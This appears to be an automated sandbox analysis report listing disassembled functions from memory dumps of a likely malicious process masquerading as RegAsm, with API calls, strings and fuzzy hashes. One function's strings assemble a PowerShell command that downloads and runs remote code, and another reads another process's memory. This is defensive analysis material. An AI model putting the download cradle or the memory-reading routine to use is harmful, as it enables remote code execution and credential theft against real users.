Opcode Fuzzy Hash: ee0afb884fcf099d7f99e7366c67ce68b772c6784af920be6a00a4bfdc52fb3e
Instruction Fuzzy Hash: EA21D331A003249FDB10DF28DC80B9A77A4EF49358F158529EC299B651E331ED15CBE2

Function 6C3AEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C3AEE49

Part of subcall function 6C3CFAB0: free.MOZGLUE(?,-00000001,?,?,6C36F673,00000000,00000000), ref: 6C3CFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C3AEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C3AEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C3AEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C3AEEB3

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 32cc2c8ec7bf926617e993af802ba69a2642ad7205d7f2ba97bcd7489fe9d8a9
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 1521C6B6A003106BEB119A54DC81EAB77A9EB49708F040164FD049B351F672DC258FF2

Function 6C3C4820 Relevance: 9.1, APIs: 6, Instructions: 74stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C3C4EB8,?), ref: 6C3C4884

Part of subcall function 6C3C8800: TlsGetValue.KERNEL32(?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8821
Part of subcall function 6C3C8800: TlsGetValue.KERNEL32(?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C883D
Part of subcall function 6C3C8800: EnterCriticalSection.KERNEL32(?,?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8856
Part of subcall function 6C3C8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C3C8887
Part of subcall function 6C3C8800: PR_Unlock.NSS3(?,?,?,?,6C3D085A,00000000,?,6C378369,?), ref: 6C3C8899

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C3C4EB8,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C484C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C3C4EB8,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C486D
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C3878F8), ref: 6C3C4899
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3C48A9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3C48B8

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockstrcmp$CondErrorWait
String ID:
API String ID: 2226052791-0
Opcode ID: f23edbed2256b453d812e756be40d554562ea2c77df2f5a225db11c7c05dfc27
Instruction ID: 75ce191d80ba3c02041245c0240c3701de02c711c2c99b2fa6264c7658be98bc
Opcode Fuzzy Hash: f23edbed2256b453d812e756be40d554562ea2c77df2f5a225db11c7c05dfc27
Instruction Fuzzy Hash: E8219276F003409BEF10AEA5ECC496A77B8AF0665D7044528DE4947A12EB23ED148BA3

Function 6C488910 Relevance: 9.1, APIs: 6, Instructions: 55threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C48892E

Part of subcall function 6C360F00: PR_GetPageSize.NSS3(6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F1B
Part of subcall function 6C360F00: PR_NewLogModule.NSS3(clock,6C360936,FFFFE8AE,?,6C2F16B7,00000000,?,6C360936,00000000,?,6C2F204A), ref: 6C360F25

PR_Lock.NSS3 ref: 6C488950

Part of subcall function 6C439BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C361A48), ref: 6C439BB3
Part of subcall function 6C439BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C361A48), ref: 6C439BC8

getprotobynumber.WSOCK32(?), ref: 6C488959
GetLastError.KERNEL32(?), ref: 6C488967
PR_GetCurrentThread.NSS3(?,?), ref: 6C48896F
PR_Unlock.NSS3(?,?), ref: 6C48898A

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: 6f5bb9e3657a9433e0c40af9b5258e816ccd1083f2b7bea0b2a89463cd986080
Instruction ID: cc740c69ea8b9fe10c0c61501126930ed8a704b93758ab5cfe5a75a999d8280b
Opcode Fuzzy Hash: 6f5bb9e3657a9433e0c40af9b5258e816ccd1083f2b7bea0b2a89463cd986080
Instruction Fuzzy Hash: 4411E572A151309BCB11EFB99C40D8A7B64AF45339F0643AAEC0997BA1DB30DC05CBC6

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 8fe1d07e46c7f7a05b9aade772f191e19f6fe2cab31bcbc29ba7bdc60f9379df
Instruction ID: 83df0cd24f2ef528265bdd767f82c36d0b02d0b672a998c6c347af455cc5eb0e
Opcode Fuzzy Hash: 8fe1d07e46c7f7a05b9aade772f191e19f6fe2cab31bcbc29ba7bdc60f9379df
Instruction Fuzzy Hash: DF01C431A817299BC722EB669C857DE77A0BF04794F01811BE80467390C72C69D2CBDD

Function 6C406840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6C40AA9B,?,?,?,?,?,?,?,00000000,?,6C4080C1), ref: 6C406846

Part of subcall function 6C361770: calloc.MOZGLUE(00000001,0000019C,?,6C3615C2,?,?,?,?,?,00000001,00000040), ref: 6C36178D

PR_NewMonitor.NSS3(00000000,?,6C40AA9B,?,?,?,?,?,?,?,00000000,?,6C4080C1), ref: 6C406855

Part of subcall function 6C3C8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C3755D0,00000000,00000000), ref: 6C3C868B
Part of subcall function 6C3C8680: PR_NewLock.NSS3(00000000,00000000), ref: 6C3C86A0
Part of subcall function 6C3C8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C3C86B2
Part of subcall function 6C3C8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C3C86C8
Part of subcall function 6C3C8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C3C86E2
Part of subcall function 6C3C8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C3C86EC
Part of subcall function 6C3C8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C3C8700

PR_NewMonitor.NSS3(?,6C40AA9B,?,?,?,?,?,?,?,00000000,?,6C4080C1), ref: 6C40687D

Part of subcall function 6C361770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C3618DE
Part of subcall function 6C361770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C3618F1

PR_NewMonitor.NSS3(?,6C40AA9B,?,?,?,?,?,?,?,00000000,?,6C4080C1), ref: 6C40688C

Part of subcall function 6C361770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C3618FC
Part of subcall function 6C361770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6C36198A

PR_NewLock.NSS3 ref: 6C4068A5

Part of subcall function 6C4398D0: calloc.MOZGLUE(00000001,00000084,6C360936,00000001,?,6C36102C), ref: 6C4398E5

PR_NewLock.NSS3 ref: 6C4068B4

Part of subcall function 6C4398D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C439946
Part of subcall function 6C4398D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C2F16B7,00000000), ref: 6C43994E
Part of subcall function 6C4398D0: free.MOZGLUE(00000000), ref: 6C43995E

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 67b89b3925cee6cc0f3f6ec939ceaeea1fbe8e361a528853aa00cb81916cc4d5
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 54014FB2752B0746E751AB764814FE776E46F01299F10043D88AAC5B80EF31D44CCFA2

Function 6C35AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C35AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C35AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6C35AF5C
misuse, xrefs: 6C35AFCE
%s at line %d of [%.10s], xrefs: 6C35AFD3

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 56dc54c387f473b6db0b10fc4f0930cb058b4ed5d6bbe511dcf18545a2e18ee7
Instruction ID: 4add86569a4882eafe6018af4136741a072ca61f8c7f4540f5c8ca7ed95e7c00
Opcode Fuzzy Hash: 56dc54c387f473b6db0b10fc4f0930cb058b4ed5d6bbe511dcf18545a2e18ee7
Instruction Fuzzy Hash: 6291DF71B052158FDB04CF69C850EBABBF1AF45318F5984A8E865AB751C332AC11CFB0

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 004069B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E2A), ref: 00406A19

Strings

*n@, xrefs: 004069BD, 004069C9, 004069DC, 004069E5, 00406A09, 00406A32, 00406A35, 00406AEF, 00406B01, 00406B0D, 00406B16, 00406B93, 00406B49, 00406A4A, 00406A6D, 00406A79, 00406AA1, 00406AD1, 00406AE3, 00406AAD, 00406ABA, 00406A56
*n@, xrefs: 00406B28, 00406BB6, 00406BBB, 00406B65

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *n@$*n@
API String ID: 1029625771-193229609
Opcode ID: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction ID: a280f62563b1b8af23ece619f3fba2aedbd92eaccb2561d1aa32790852693925
Opcode Fuzzy Hash: bf609db6eed200fea4b15f7f51f4bbb31f3205db81936f2c349fbd39333cdc99
Instruction Fuzzy Hash: DA71C874A00119DFCB04CF48C484BEAB7B2FB88315F158179E80AAF391D739AA91CB95

Function 00412C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00412D85

Strings

<, xrefs: 00412D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412D04
')", xrefs: 00412CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412CC4

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 7f128ac8f9bb9458abef97919d6b2e581af989fbd2c846308f4a6e5cacd24915
Instruction ID: 8aa8f54ed0a99c91faffa02525c95fa844b6858a6ee3c68abfdd9097d7126834
Opcode Fuzzy Hash: 7f128ac8f9bb9458abef97919d6b2e581af989fbd2c846308f4a6e5cacd24915
Instruction Fuzzy Hash: 08410E71D112089ADB14FBA1C991FDDB774AF10314F50401EE016A7192DF786ADBCFA9

Function 6C3E6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C3E6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3E6E57

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C3E6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C3E6EAA

Strings

nHl, xrefs: 6C3E6DF9

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nHl
API String ID: 3163584228-3716891766
Opcode ID: 043ad6378efc48d2d4e22121075a87327542b877f5567ea061051fd2c8d2abb1
Instruction ID: e0851ec21d0417a4f23f3bca722100e5cb290c82ba15682b67ede903253cfd73
Opcode Fuzzy Hash: 043ad6378efc48d2d4e22121075a87327542b877f5567ea061051fd2c8d2abb1
Instruction Fuzzy Hash: 5531D13161063AEADB145E34CE047A6B7B4AB8931AF10063ED699D6BC1EB32B454CF91

Function 6C41A8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C402AE9,00000000,0000065C), ref: 6C41A91D

Part of subcall function 6C3BADC0: TlsGetValue.KERNEL32(?,6C39CDBB,?,6C39D079,00000000,00000001), ref: 6C3BAE10
